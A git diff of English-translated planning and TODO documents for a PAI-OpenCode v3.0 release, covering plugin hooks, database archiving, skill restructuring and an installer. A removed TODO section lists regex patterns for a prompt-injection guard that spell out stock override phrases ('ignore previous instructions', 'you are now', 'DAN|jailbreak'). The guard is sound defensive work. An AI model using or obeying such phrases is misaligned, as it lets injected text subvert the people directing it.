~3–3.5h +**Dependencies:** PR #A ✅ -**Branch:** `feature/wp6-installer-migration` (NEU) -**Schätzung:** ~18 Files, ~1300 Zeilen +> [!NOTE] +> **Verified against v4.0.3 upstream** — the task list below reflects only confirmed gaps. +> Many items from the original plan were already done in earlier WPs. -**Inhalt:** ```text -Final Delivery: -├── PAI-Install/ (portiert aus v4.0.3) -│ ├── install.sh -│ ├── cli/ -│ ├── electron/ ← DB Health Tab hier integriert -│ ├── engine/ -│ └── web/ -├── Tools/migration-v2-to-v3.ts (neu) -├── Tools/db-archive.ts (neu) ← Standalone DB Archivierungs-Tool -├── UPGRADE.md (neu) -├── RELEASE-v3.0.0.md (neu) -└── README.md (updated) +PHASE 1 — Structural fixes (flatten nested skills): +├── skills/USMetrics/USMetrics/ → flatten to skills/USMetrics/ +│ (move Tools/, Workflows/, merge SKILL.md, delete inner dir) +└── skills/Telos/Telos/ → flatten to skills/Telos/ + (move DashboardTemplate/, ReportTemplate/, Tools/, Workflows/, delete inner dir) + +PHASE 2 — Missing skill content (port from v4.0.3): +├── skills/Utilities/AudioEditor/ (SKILL.md + Tools/ + Workflows/) +├── skills/Utilities/Delegation/ (SKILL.md only) +├── skills/Research/MigrationNotes.md +├── skills/Research/Templates/ (MarketResearch.md, ThreatLandscape.md) +├── skills/Agents/ClaudeResearcherContext.md +└── skills/Utilities/SKILL.md (update: add AudioEditor + Delegation entries) + +PHASE 3 — Missing PAI/ flat docs (9 files, port + sed-replace .claude→.opencode): +├── CLI.md +├── CLIFIRSTARCHITECTURE.md +├── DOCUMENTATIONINDEX.md +├── FLOWS.md +├── PAIAGENTSYSTEM.md +├── README.md +├── SYSTEM_USER_EXTENDABILITY.md +├── THEFABRICSYSTEM.md +└── THENOTIFICATIONSYSTEM.md + +PHASE 3b — Missing PAI/ subdirectories (3 dirs, port + sed-replace): +├── ACTIONS/ (A_EXAMPLE_FORMAT/, A_EXAMPLE_SUMMARIZE/, lib/, pai.ts, README.md) +├── FLOWS/ (README.md) +└── PIPELINES/ (P_EXAMPLE_SUMMARIZE_AND_FORMAT.yaml, README.md) + +PHASE 4 — PAI Tools: +└── BuildCLAUDE.ts → BuildOpenCode.ts (copy + replace .claude→.opencode, CLAUDE.md→AGENTS.md) + Note: All other PAI Tools already present and identical to v4.0.3 ✅ + +PHASE 5 — Bootstrap & index: +├── MINIMAL_BOOTSTRAP.md (fix USMetrics path, add AudioEditor + Delegation) +└── bun GenerateSkillIndex.ts ``` -**DB Health Erweiterung:** Siehe WP-F (DB Health & Archivierung) — vollständig integriert in PR #D. - -**Wichtig:** Dieser PR muss auf PR #C warten! +**Completion checklist:** +- [ ] `bun run skills:validate` +- [ ] `bun run skills:index` +- [ ] `biome check --write .` +- [ ] `bun test` +- [ ] PR against `dev` --- -### 📋 PR #D Erweiterung: WP-F — DB Health & Session Archivierung (WICHTIG) - -> [!note] -> **Neu hinzugefügt 2026-03-06** — Erkenntnisse aus OpenCode DB-Analyse: -> `opencode.db` wird 2.4 GB+ groß ohne Cleanup. Keine Auto-Retention in OpenCode. -> Lösung muss OpenCode-native, benutzerfreundlich und in v3.0 integriert sein. +### 📋 PR #D: WP6 — Installer & Migration + DB Health (CRITICAL) -**Drei Ebenen der Lösung:** +**Branch:** `feature/wp-d-installer-migration` (new from `dev` after #C merges) +**Estimate:** ~18 files, ~1300 lines +**Dependencies:** PR #C ```text -EBENE 1 — Plugin Event (automatisch, WP-A Erweiterung): -└── plugins/handlers/session-cleanup.ts - └── Erweitern: Auto-Archiv-Check nach Session-Ende - ├── Prüfen: Ist DB > 500 MB? Gibt es Sessions > 90 Tage? - ├── Wenn ja: Benutzer benachrichtigen ("DB wächst, Archiv empfohlen") - └── Optional: Silent Auto-Archiv nach konfigurierbarem Schwellenwert - -EBENE 2 — Custom Command (manuell, OpenCode-native): -└── /db-archive OpenCode Custom Command - ├── Zeigt: DB-Größe, Session-Anzahl, älteste Sessions - ├── Schlägt vor: Archivierung aller Sessions älter als N Tage - ├── Führt aus: Export → Löschen → VACUUM - └── Bestätigt: "X Sessions archiviert, Y MB freigegeben" - -EBENE 3 — Electron GUI (visuell, WP-D Electron-Installer): -└── PAI-Install Electron App: "DB Health" Tab - ├── Dashboard: DB-Größe, Session-Count, Growth-Trend - ├── Archiv-Button: "Archiviere Sessions älter als [90] Tage" - ├── VACUUM-Button: "Datenbank defragmentieren" - └── Archiv-Browser: Alte Sessions wiederherstellen -``` - -**Technische Architektur:** - -```typescript -// Tools/db-archive.ts — OpenCode-native Tool -// Aufrufbar: bun db-archive.ts [days] [--dry-run] [--vacuum] - -interface ArchiveConfig { - daysToKeep: number; // Default: 90 - archiveDir: string; // Default: ~/.opencode/archives/ - autoVacuum: boolean; // Default: true - dryRun: boolean; // Default: false -} - -interface ArchiveResult { - sessionsArchived: number; - messagesArchived: number; - partsArchived: number; - spaceSaved: string; // "1.2 GB" - archivePath: string; - vacuumRan: boolean; -} - -// Restore einzelner Session aus Archiv -bun db-archive.ts --restore archive-2025-Q4.db --session ses_xxx -``` - -**Plugin Integration (session-cleanup.ts Erweiterung):** - -```typescript -// Automatische Warnung bei DB-Wachstum -async function checkDbHealth(dbPath: string): Promise { - const sizeMB = getDbSizeMB(dbPath); - const oldSessionCount = getOldSessionCount(dbPath, 90); - - if (sizeMB > 500 || oldSessionCount > 100) { - // OpenCode notification (nicht blockierend) - await notify(`⚠️ DB-Warnung: ${sizeMB}MB — ${oldSessionCount} Sessions > 90 Tage.\n` + - `Archivierung empfohlen: /db-archive`); - } -} -``` - -**OpenCode Custom Command (`/db-archive`):** - -```typescript -// .opencode/commands/db-archive.ts -// Aufrufbar direkt in OpenCode TUI: /db-archive -export default async function dbArchiveCommand(args: string[]) { - const days = parseInt(args[0]) || 90; - - // 1. Status anzeigen - const stats = await getDbStats(); - console.log(`DB: ${stats.sizeMB}MB | Sessions: ${stats.total} | Archivierbar: ${stats.archivable}`); - - // 2. Bestätigung - const confirmed = await confirm(`Archiviere ${stats.archivable} Sessions (> ${days} Tage)?`); - if (!confirmed) return; - - // 3. Archivieren - const result = await archiveSessions(days); - - // 4. Ergebnis - console.log(`✅ ${result.sessionsArchived} Sessions archiviert → ${result.archivePath}`); - console.log(`💾 Freigegeben: ${result.spaceSaved}`); -} +PAI-Install/ (port from v4.0.3, adapt for OpenCode): +├── install.sh (~/.claude/ → ~/.opencode/, CLAUDE.md → AGENTS.md) +├── cli/ +├── engine/ +├── electron/ ← Required for v3.0 + DB Health tab integrated here +├── web/ +└── main.ts + +DB Health (WP-F — integrated): +├── plugins/handlers/session-cleanup.ts (extend: checkDbHealth()) +├── plugins/lib/db-utils.ts (getDbSizeMB, getSessionsOlderThan) +├── Tools/db-archive.ts (standalone: archive/vacuum/restore) +└── .opencode/commands/db-archive.ts (OpenCode custom command /db-archive) + +Migration & Docs: +├── tools/migration-v2-to-v3.ts +├── UPGRADE.md +├── CHANGELOG.md +├── docs/DB-MAINTENANCE.md +└── README.md (update) ``` -**WICHTIG — VACUUM Requirement:** -``` -VACUUM braucht EXKLUSIVEN DB Zugriff: -→ db-archive.ts muss aufgerufen werden OHNE laufendes OpenCode -→ Electron GUI: Zeigt "OpenCode muss beendet sein" Hinweis -→ Custom Command /db-archive: Läuft im OpenCode-Prozess, nutzt - SQLite WAL Checkpoint statt Full VACUUM (sicherer bei laufender Session) -``` - -**Archiv-Format:** -``` -~/.opencode/archives/ -├── archive-2025-Q4.db ← SQLite (wiederherstellbar) -├── archive-2026-Q1.db -└── archive-index.json ← { date, sessionCount, sizeBytes, dbPath } -``` +> [!IMPORTANT] +> **Electron GUI is required for v3.0** — CLI installer AND Electron GUI both required --- -## ⚙️ Architektur-Entscheidung: Plugin-Konsolidierung - -> [!tip] -> **Entschieden 2026-03-06 — Option B: Pragmatisch** - -**Option A (Epic-Ziel):** Alle 19 Handler auflösen, native OpenCode Events, ~300 Zeilen -**Option B (Gewählt):** Handler-Module bleiben als "internal modules", nur fehlende Hooks hinzufügen - -**Begründung für Option B:** -- Geringeres Risiko (keine komplette Umstrukturierung) -- Funktionalität bleibt garantiert erhalten -- Weniger Aufwand (~1 Tag statt ~2 Tage) -- Echte Konsolidierung auf **v3.1** verschoben - -**Konsequenz:** `pai-unified.ts` bleibt Coordinator über Handler-Module. Neue Hooks werden als neue Handler-Dateien hinzugefügt und in `pai-unified.ts` eingebunden. - ---- +## ⚙️ Architecture Decision: Plugin Consolidation -## Warum 4 PRs und nicht 2? +> [!TIP] +> **Decided 2026-03-06 — Option B: Pragmatic** -### Vorheriger (falscher) Plan (Korrektur 1, 2026-03-06 früh): -- WP1-WP4 als "vollständig" markiert -- Nur noch 2 PRs bis v3.0 behauptet -- **FEHLER:** WP3 war nie vollständig! +**Option A (Epic goal):** Dissolve all 19 handlers, native OpenCode events, ~300 lines +**Option B (Chosen):** Handler modules remain as "internal modules", only add missing hooks -### Aktuell korrigierter Plan (Audit 2026-03-06): -- ✅ WP1: Algorithm v3.7.0 (vollständig) -- ✅ WP2: Context Modernization (vollständig) -- ⚠️ WP3: ~40% — Category Structure ja, Hooks/Plugin-System NEIN -- ⚠️ WP4: ~70% — Funktional, aber auf unvollständigem WP3 -- 🔄 **PR #A**: WP3-Completion (Plugin-System + 6 Hooks) -- 🔄 **PR #B**: WP3.5 Security Hardening -- 🔄 **PR #C**: WP5 Core PAI System + Skill-Fixes -- 🔄 **PR #D**: WP6 Installer & Migration +**Rationale for Option B:** +- Lower risk (no complete restructuring) +- Functionality guaranteed preserved +- Less effort (~1 day vs ~2 days) +- True consolidation deferred to **v3.1** -**Details:** Vollständige Gap-Analyse in `docs/epic/GAP-ANALYSIS-v3.0.md` +**Consequence:** `pai-unified.ts` stays as coordinator over handler modules. New hooks added as new handler files and imported in `pai-unified.ts`. --- -## Detaillierte Übersicht: Was fehlt wirklich? - -### Bereits erledigt (WP1-WP4): -- ✅ Algorithm v3.7.0 ist portiert (in `.opencode/skills/PAI/SKILL.md`) -- ✅ Category Structure existiert (10 Kategorien, 40+ skills) -- ✅ Validation Tools existieren (GenerateSkillIndex, ValidateSkillStructure) -- ✅ Plugin Handler unterstützen hierarchische Skills - -### Was fehlt (WP5-WP6): - -| Komponente | Status | Details | -|------------|--------|---------| -| `.opencode/PAI/` Verzeichnis | ❌ Fehlt komplett | Core PAI außerhalb skills/ | -| Modularer Algorithm | ❌ Fehlt | 81KB monolithisch → ~200 Zeilen + Components | -| RebuildPAI.ts | ❌ Fehlt | Tool zum Neuaufbau der PAI-Struktur | -| IntegrityMaintenance.ts | ❌ Fehlt | Health Checks | -| SessionDocumenter.ts | ❌ Fehlt | Automatische Session-Doku | -| SystemAudit.ts | ❌ Fehlt | System-Integritätsprüfung | -| PAI-Install/ | ❌ Fehlt | GUI Installer aus v4.0.3 | -| Migration Script | ❌ Fehlt | v2→v3 Automatisierung | - ---- - -## Empfohlene Reihenfolge (nach Audit) +## Progress Diagram ```text -Aktueller Stand (dev branch): -├── WP1 ✅ Algorithm v3.7.0 -├── WP2 ✅ Context Modernization -├── WP3 ⚠️ Category Structure (hooks fehlen) -└── WP4 ⚠️ Integration (70% fertig) +Current state (dev branch): +├── WP1 ✅ Algorithm v3.7.0 +├── WP2 ✅ Context Modernization +├── WP3 ✅ Category Structure (completed via WP-A) +├── WP4 ✅ Integration & Validation +├── WP-A ✅ Plugin System + 5 Hooks (PR #42) +└── WP-B ✅ Security Hardening (PR #43) -Nächste Schritte: - │ - ▼ -┌─────────────────────────────────────┐ -│ PR #A: WP3-Completion │ -│ - 6 kritische Hooks portieren │ -│ - Plugin-Architektur verbessern │ -│ - ~10 Files, ~800 Zeilen │ -└─────────────────────────────────────┘ - │ - ▼ -┌─────────────────────────────────────┐ -│ PR #B: WP3.5 Security │ -│ - Prompt Injection Guard │ -│ - ~5 Files, ~400 Zeilen │ -└─────────────────────────────────────┘ │ ▼ -┌─────────────────────────────────────┐ -│ PR #C: WP5 Core PAI System │ -│ - Fehlende PAI-Docs portieren │ -│ - Fehlende PAI Tools portieren │ -│ - Skill-Struktur-Fixes │ -│ - ~25 Files, ~2500 Zeilen │ -└─────────────────────────────────────┘ +┌─────────────────────────────────────────────────┐ +│ PR #C: WP5 Core PAI System (~3.5h) │ +│ - Flatten USMetrics + Telos nested structure │ +│ - Port 5 missing skill items │ +│ - Port 9 PAI/ flat docs + 3 subdirs │ +│ - BuildOpenCode.ts (adapt BuildCLAUDE.ts) │ +│ - Update MINIMAL_BOOTSTRAP.md + skill index │ +└─────────────────────────────────────────────────┘ │ ▼ -┌─────────────────────────────────────┐ -│ PR #D: WP6 Installer & Migration │ -│ - PAI-Install/ portieren │ -│ - Migration-Script v2→v3 │ -│ - Release-Dokumentation │ -│ - ~15 Files, ~1000 Zeilen │ -└─────────────────────────────────────┘ +┌─────────────────────────────────────────────────┐ +│ PR #D: WP6 Installer & Migration (~1–2 days) │ +│ - PAI-Install/ port + OpenCode adapt │ +│ - Migration script v2→v3 │ +│ - DB Health: plugin + CLI tool + GUI tab │ +│ - Release documentation │ +└─────────────────────────────────────────────────┘ │ ▼ 🎉 v3.0.0 RELEASE @@ -383,20 +218,23 @@ Nächste Schritte: --- -## Zusammenfassung (nach vollständigem Audit) +## Summary -| Metrik | Falscher Plan | Audit-korrigierter Plan | -|--------|-----------|------------------| -| Gesamt-PRs | 6 PRs (4 ✅, 2 offen) | 10 PRs total (4 ✅ teilweise, 4 🔄 offen) | -| Noch offen | 2 PRs | **4 PRs (A, B, C, D)** | -| Verbleibende Arbeit | Nur WP5-WP6 | WP3-Completion + WP3.5 + WP5 + WP6 | -| ETA | ~1-2 Wochen | **5-8 Tage realistisch** | +| Metric | After Audit (2026-03-06) | Current (2026-03-08) | +|--------|--------------------------|----------------------| +| Total PRs | 10 (4 ✅ partial, 4 🔄 open) | 10 (8 ✅, **2 open**) | +| Still open | 4 PRs (A, B, C, D) | **2 PRs (C, D)** | +| Remaining work | WP3-Completion + WP3.5 + WP5 + WP6 | **WP5 + WP6** | +| WP-C actual scope | ~25 files, ~2500 lines (estimated) | **~21 tasks, ~3.5h (verified)** | +| ETA | 5–8 days realistic | **~2–3 days realistic** | -**Fazit:** WP1 und WP2 sind solide. WP3 hat kritische Lücken (Hooks, Plugin-Architektur). WP4 funktioniert, baut aber auf unvollständigem WP3. Es braucht 4 weitere PRs für eine vollständige v3.0. +**Status:** WP-A and WP-B delivered the plugin system and security layer. WP-C is the content/structure completion sprint. WP-D delivers the installer and migration tooling needed for the public v3.0 release. -**Vollständige Gap-Analyse:** `docs/epic/GAP-ANALYSIS-v3.0.md` +**Full gap analysis:** `docs/epic/GAP-ANALYSIS-v3.0.md` +**Granular task list:** `docs/epic/TODO-v3.0.md` --- -*Korrigiert am: 2026-03-06* -*Ursprünglicher Plan war irreführend durch durchnummerierte PRs statt tatsächlicher WP-Zuordnung* \ No newline at end of file +*Original plan: 2026-03-06* +*Correction 1 (2026-03-06): Fixed WP3 completion status — was never fully done* +*Correction 2 (2026-03-08): WP-A (#42) + WP-B (#43) merged; WP-C scope verified against v4.0.3 upstream* diff --git a/docs/epic/TODO-v3.0.md b/docs/epic/TODO-v3.0.md index c38fd37b..7a64eb7d 100644 --- a/docs/epic/TODO-v3.0.md +++ b/docs/epic/TODO-v3.0.md @@ -1,18 +1,19 @@ --- -title: PAI-OpenCode v3.0 — Aufgabenliste -description: Granulare, sofort umsetzbare Aufgaben für die verbleibenden 4 PRs bis v3.0 Release +title: PAI-OpenCode v3.0 — Task List +description: Granular, immediately actionable tasks for the remaining PRs until v3.0 release status: active -date: 2026-03-06 +date: 2026-03-08 --- # PAI-OpenCode v3.0 — TODO > [!NOTE] -> **Basis:** Gap-Analyse 2026-03-06 | Referenz: `GAP-ANALYSIS-v3.0.md` | Plan: `OPTIMIZED-PR-PLAN.md` +> **Basis:** Gap-Analysis 2026-03-06 | Reference: `GAP-ANALYSIS-v3.0.md` | Plan: `OPTIMIZED-PR-PLAN.md` +> **Updated:** 2026-03-08 — WP-A (PR #42) and WP-B (PR #43) merged. WP-C verified against v4.0.3 upstream. --- -## Gesamtfortschritt +## Overall Progress ```text WP1 ████████████ 100% ✅ @@ -20,494 +21,337 @@ WP2 ████████████ 100% ✅ WP3 ████████████ 100% ✅ WP4 ████████████ 100% ✅ ───────────────────────── -WP-A ████████████ 90% 🔄 ← PR #42 in review -WP-B ░░░░░░░░░░░░ 0% 🔄 -WP-C ░░░░░░░░░░░░ 0% 🔄 -WP-D ░░░░░░░░░░░░ 0% 🔄 -WP-E ░░░░░░░░░░░░ 0% 🔄 +WP-A ████████████ 100% ✅ ← PR #42 merged +WP-B ████████████ 100% ✅ ← PR #43 merged +WP-C ░░░░░░░░░░░░ 0% 🔄 ← next up +WP-D ░░░░░░░░░░░░ 0% ⏳ +WP-E ░░░░░░░░░░░░ 0% ⏳ ``` --- -## 🔴 PR #A — WP3-Completion: Plugin-System & Hooks +## ✅ PR #A — WP3-Completion: Plugin System & Hooks — MERGED (#42) -**Branch:** `feature/wp-a-plugin-hooks` -**Geschätzter Aufwand:** 1–2 Tage -**Abhängigkeiten:** Keine (WP1+WP2 fertig) -**Priorität:** KRITISCH — alle anderen PRs hängen davon ab +**Branch:** `feature/wp-a-plugin-hooks` — **MERGED into `dev`** -### Setup -- [ ] Branch `feature/wp-a-plugin-hooks` von `dev` erstellen -- [ ] PAI v4.0.3 Hooks als Referenz lesen: `/Releases/v4.0.3/.claude/hooks/` +All handlers ported and integrated into `pai-unified.ts`: -### Neue Handler (HOCH-Priorität — alle 6 müssen rein) +- [x] `plugins/handlers/prd-sync.ts` ✅ +- [x] `plugins/handlers/session-cleanup.ts` ✅ +- [x] `plugins/handlers/last-response-cache.ts` ✅ +- [x] `plugins/handlers/relationship-memory.ts` ✅ +- [x] `plugins/handlers/question-tracking.ts` ✅ +- [x] All 6 handlers integrated into `pai-unified.ts` ✅ +- [x] Bus events implemented: `session.compacted`, `session.error`, `permission.asked`, `command.executed`, `installation.update.available`, `session.updated`, `session.created` ✅ +- [x] `biome check --write .` ✅ +- [x] `bun test` ✅ -- [x] **`plugins/handlers/prd-sync.ts`** ✅ portiert (PR #A) - - Referenz: `PRDSync.hook.ts` - - Funktion: PRD-Frontmatter → `prd-registry.json` synchronisieren - - Event: `tool.execute.after` (Write/Edit auf PRD.md) - -- [x] **`plugins/handlers/session-cleanup.ts`** ✅ portiert (PR #A) - - Referenz: `SessionCleanup.hook.ts` - - Funktion: Work-Directory COMPLETED markieren, State bereinigen - - Event: `session.ended` / `session.idle` - -- [x] **`plugins/handlers/last-response-cache.ts`** ✅ portiert (PR #A) - - Referenz: `LastResponseCache.hook.ts` - - Funktion: Letzten AI-Response cachen für ImplicitSentiment-Kontext - - Event: `message.updated` (assistant) - -- [x] **`plugins/handlers/relationship-memory.ts`** ✅ portiert (PR #A) - - Referenz: `RelationshipMemory.hook.ts` - - Funktion: W/B/O-Notizen → `MEMORY/RELATIONSHIP/` schreiben - - Event: `session.ended` / `session.idle` - -- [x] **`plugins/handlers/question-tracking.ts`** ✅ portiert (PR #A) - - Referenz: `QuestionAnswered.hook.ts` (OpenCode-Semantik: Q&A-Tracking, kein Tab-Reset) - - Funktion: AskUserQuestion Q&A-Pairs → `STATE/questions.jsonl` - - Event: `tool.execute.after` (AskUserQuestion) - -- [ ] `session-autoname` → **KEIN separater Handler nötig** - - OpenCode setzt `info.title` nativ im `session.created` Event → wird bereits geloggt - -### Neue Handler (MITTEL-Priorität — nice to have für PR #A) - -- [ ] **`plugins/handlers/doc-integrity.ts`** portieren - - Referenz: `DocIntegrity.hook.ts` - - Funktion: Dokumentations-Integrität prüfen (Cross-References, fehlende Sections) +--- -- [ ] **`plugins/handlers/response-tab-reset.ts`** + **`set-question-tab.ts`** - - Referenz: `ResponseTabReset.hook.ts`, `SetQuestionTab.hook.ts` - - Funktion: Tab-State-Management (Response/Question Tabs zurücksetzen) - - Hinweis: `tab-state.ts` existiert bereits — prüfen ob ausreichend oder erweitern +## ✅ PR #B — WP3.5: Security Hardening / Prompt Injection — MERGED (#43) -### Neue Handler in `pai-unified.ts` einbinden (Pragmatisch — Option B) +**Branch:** `feature/wp-b-security-hardening` — **MERGED into `dev`** -- [ ] Alle 6 neuen Handler-Module in `pai-unified.ts` importieren -- [ ] Event-Handler-Registrierungen für neue Hooks hinzufügen (gleiche Struktur wie bestehende) -- [ ] Kommentar-Header in `pai-unified.ts` aktualisieren (Handler-Liste vollständig) -- [ ] **KEINE** komplette Umstrukturierung — Handler-Module bleiben (Option B) +- [x] `plugins/lib/injection-patterns.ts` ✅ +- [x] `plugins/handlers/prompt-injection-guard.ts` ✅ +- [x] `plugins/lib/sanitizer.ts` ✅ +- [x] `MEMORY/SECURITY/` directory registered ✅ +- [x] Integrated into `pai-unified.ts` (`tool.execute.before` + `message.received`) ✅ +- [x] Sensitivity-level setting (low/medium/high) ✅ +- [x] Manual tests with known injection patterns ✅ +- [x] `biome check --write .` ✅ -### Ungenutzte Bus-Events implementieren (direkt im `event`-Handler) +--- -> [!info] -> **Warum hier:** Diese Events brauchen keine eigenen Handler-Dateien — sie sind einfaches -> Event-Logging/Tracking direkt im bestehenden `event: async (input) => {}` Block. -> Alle non-blocking, alle via file-logger. +## 🟡 PR #C — WP5: Core PAI System + Skill Fixes -- [ ] **`session.compacted`** — KRITISCH: Learnings VOR Kontextverlust retten - ```typescript - if (eventType === "session.compacted") { - await extractLearningsFromWork(); // urgent rescue before context shrinks - fileLog(`[Compaction] Context compacted at ${new Date().toISOString()}`); - } - ``` +**Branch:** `feature/wp-c-core-pai-system` +**Estimated effort:** ~3–3.5h (verified against v4.0.3 upstream — many items already done) +**Dependencies:** PR #A ✅ (done) +**Priority:** CRITICAL -- [ ] **`session.error`** — Error-Tracking für Debugging & Resilienz - ```typescript - if (eventType === "session.error") { - const { error, sessionID } = eventData.properties; - fileLog(`[SessionError] ${sessionID}: ${error}`, "error"); - } - ``` +> [!NOTE] +> **Verified 2026-03-08:** Many items from the original TODO were already completed in earlier WPs. +> This section reflects only the **actual remaining gaps** confirmed against v4.0.3 at: +> `/Users/steffen/workspace/github.com/danielmiessler/Personal_AI_Infrastructure/Releases/v4.0.3/.claude/` -- [ ] **`permission.asked`** — Vollständiges Audit-Log ALLER Permissions (nicht nur blockierte) - ```typescript - if (eventType === "permission.asked") { - const { id, permission, patterns, tool } = eventData.properties; - fileLog(`[PermissionAudit] id=${id} permission=${permission} patterns=[${patterns}]`); - } - ``` +--- -- [ ] **`command.executed`** — Tracking welche `/commands` wie oft genutzt werden - ```typescript - if (eventType === "command.executed") { - const { name, arguments: args } = eventData.properties; - fileLog(`[CommandTracker] /${name} ${args}`.trim()); - } - ``` +### C.1 — Structural Fixes: Flatten Nested Skills -- [ ] **`installation.update.available`** — Native OpenCode-Update-Notification (ersetzt unseren polling check-version für OpenCode selbst) - ```typescript - if (eventType === "installation.update.available") { - const { version } = eventData.properties; - fileLog(`[UpdateAvailable] OpenCode ${version} verfügbar`); - } - ``` +Two skills have the same incorrect nested structure — content exists one level too deep. -- [ ] **`session.updated`** — Session-Titel-Änderungen für Work-Log tracken - ```typescript - if (eventType === "session.updated") { - const { info } = eventData.properties; - if (info?.title) fileLog(`[SessionTitle] "${info.title}"`); - } - ``` +**USMetrics — flatten:** +```bash +# Move contents up, merge SKILL.md, delete inner dir +cp -r .opencode/skills/USMetrics/USMetrics/Tools .opencode/skills/USMetrics/ +cp -r .opencode/skills/USMetrics/USMetrics/Workflows .opencode/skills/USMetrics/ +# Manually merge the two SKILL.md files (outer=category-wrapper, inner=actual skill content) +rm -rf .opencode/skills/USMetrics/USMetrics/ +``` -- [ ] **`session.created` info-Objekt nutzen** — `info.id`, `info.title`, `info.directory` für präziseres AutoName-Logging - ```typescript - // Bereits: eventType.includes("session.created") - // ERGÄNZEN: session info auslesen - const info = eventData?.properties?.info || {}; - fileLog(`[SessionStart] id=${info.id} title="${info.title}" dir=${info.directory}`); - ``` +- [ ] Move `USMetrics/USMetrics/Tools/` → `USMetrics/Tools/` +- [ ] Move `USMetrics/USMetrics/Workflows/` → `USMetrics/Workflows/` +- [ ] Merge inner `USMetrics/USMetrics/SKILL.md` into outer `USMetrics/SKILL.md` +- [ ] Delete `USMetrics/USMetrics/` directory + +**Telos — flatten:** +```bash +mv .opencode/skills/Telos/Telos/DashboardTemplate .opencode/skills/Telos/ +mv .opencode/skills/Telos/Telos/ReportTemplate .opencode/skills/Telos/ +mv .opencode/skills/Telos/Telos/Tools .opencode/skills/Telos/ +mv .opencode/skills/Telos/Telos/Workflows .opencode/skills/Telos/ +rm -rf .opencode/skills/Telos/Telos/ +``` -### Abschluss PR #A -- [ ] `biome check --write .` ausführen -- [ ] `bun test` ausführen -- [ ] PR gegen `dev` erstellen mit Beschreibung: Hooks portiert + Bus-Events implementiert +- [ ] Move `Telos/Telos/DashboardTemplate/` → `Telos/DashboardTemplate/` +- [ ] Move `Telos/Telos/ReportTemplate/` → `Telos/ReportTemplate/` +- [ ] Move `Telos/Telos/Tools/` → `Telos/Tools/` +- [ ] Move `Telos/Telos/Workflows/` → `Telos/Workflows/` +- [ ] Delete `Telos/Telos/` directory +- [ ] Verify `Telos/SKILL.md` references point to `Telos/` not `Telos/Telos/` --- -## 🟠 PR #B — WP3.5: Security Hardening / Prompt Injection - -**Branch:** `feature/wp-b-security-hardening` -**Geschätzter Aufwand:** 0.5–1 Tag -**Abhängigkeiten:** PR #A (Plugin-System vollständig) -**Priorität:** HOCH - -### Prompt Injection Detection - -- [ ] **`plugins/lib/injection-patterns.ts`** erstellen - ```typescript - export const INJECTION_PATTERNS = [ - /ignore (previous|all prior) (instructions|commands|context)/i, - /system (prompt|instructions)/i, - /you are (now|from now on)/i, - /new (role|personality|identity):/i, - /(pretend|act as if|imagine) you (are|were)/i, - /DAN|jailbreak/i, - /<\|(system|assistant|user)\|>/i, - ]; - ``` - -- [ ] **`plugins/handlers/prompt-injection-guard.ts`** erstellen - - Inputs vor LLM-Verarbeitung scannen - - Suspicious patterns loggen (in MEMORY/SECURITY/) - - Bei hochem Confidence-Score: blockieren + User informieren +### C.2 — Missing Skill Content: Port from v4.0.3 -- [ ] **`plugins/lib/sanitizer.ts`** erstellen - - Gefährliche Sequences escapen/entfernen - - Audit-Log aller Sanitisierungen +Reference source: `.../Releases/v4.0.3/.claude/skills/` -### Security Logging -- [ ] MEMORY/SECURITY/ Verzeichnis in MINIMAL_BOOTSTRAP registrieren -- [ ] Log-Format definieren: timestamp, pattern, confidence, action +**Utilities — 2 skills missing:** +- [ ] `skills/Utilities/AudioEditor/` — port from v4.0.3 (`SKILL.md`, `Tools/`, `Workflows/`) +- [ ] `skills/Utilities/Delegation/` — port from v4.0.3 (`SKILL.md` only) +- [ ] Update `skills/Utilities/SKILL.md` — add AudioEditor + Delegation entries +- [ ] Replace any `.claude/` references with `.opencode/` in ported files -### Integration -- [ ] In `pai-unified.ts` einbinden (event: `tool.execute.before` + `message.received`) -- [ ] Settings-Option für Sensitivity-Level (low/medium/high) +**Research — 2 items missing:** +- [ ] `skills/Research/MigrationNotes.md` — port from v4.0.3 +- [ ] `skills/Research/Templates/` — port directory (contains `MarketResearch.md`, `ThreatLandscape.md`) -### Abschluss PR #B -- [ ] Manuelle Tests mit bekannten Injection-Patterns -- [ ] `biome check --write .` -- [ ] PR gegen `dev` +**Agents — 1 file missing:** +- [ ] `skills/Agents/ClaudeResearcherContext.md` — port from v4.0.3 --- -## 🟡 PR #C — WP5: Core PAI System + Skill-Fixes + PAI Tools +### C.3 — Missing PAI/ Docs: Port from v4.0.3 -**Branch:** `feature/wp-c-core-pai-system` -**Geschätzter Aufwand:** 2–3 Tage -**Abhängigkeiten:** PR #A -**Priorität:** KRITISCH +Reference source: `.../Releases/v4.0.3/.claude/PAI/` -### C.1 — Fehlende PAI-Docs portieren (`.opencode/PAI/`) +**9 flat docs missing from `.opencode/PAI/`:** -Referenz: `/Releases/v4.0.3/.claude/PAI/` +```bash +SRC=".../Releases/v4.0.3/.claude/PAI" +DST=".opencode/PAI" -- [ ] `PAIAGENTSYSTEM.md` → `.opencode/PAI/PAIAGENTSYSTEM.md` +for f in CLI.md CLIFIRSTARCHITECTURE.md DOCUMENTATIONINDEX.md FLOWS.md \ + PAIAGENTSYSTEM.md README.md SYSTEM_USER_EXTENDABILITY.md \ + THEFABRICSYSTEM.md THENOTIFICATIONSYSTEM.md; do + cp $SRC/$f $DST/$f + sed -i '' 's/\.claude\//\.opencode\//g' $DST/$f +done +``` + +- [ ] `CLI.md` → `.opencode/PAI/CLI.md` - [ ] `CLIFIRSTARCHITECTURE.md` → `.opencode/PAI/CLIFIRSTARCHITECTURE.md` +- [ ] `DOCUMENTATIONINDEX.md` → `.opencode/PAI/DOCUMENTATIONINDEX.md` - [ ] `FLOWS.md` → `.opencode/PAI/FLOWS.md` -- [ ] `FLOWS/` → `.opencode/PAI/FLOWS/` (gesamtes Verzeichnis) -- [ ] `PIPELINES.md` → `.opencode/PAI/PIPELINES.md` -- [ ] `PIPELINES/` → `.opencode/PAI/PIPELINES/` +- [ ] `PAIAGENTSYSTEM.md` → `.opencode/PAI/PAIAGENTSYSTEM.md` +- [ ] `README.md` → `.opencode/PAI/README.md` +- [ ] `SYSTEM_USER_EXTENDABILITY.md` → `.opencode/PAI/SYSTEM_USER_EXTENDABILITY.md` - [ ] `THEFABRICSYSTEM.md` → `.opencode/PAI/THEFABRICSYSTEM.md` - [ ] `THENOTIFICATIONSYSTEM.md` → `.opencode/PAI/THENOTIFICATIONSYSTEM.md` -- [ ] `DOCUMENTATIONINDEX.md` → `.opencode/PAI/DOCUMENTATIONINDEX.md` -- [ ] `CLI.md` → 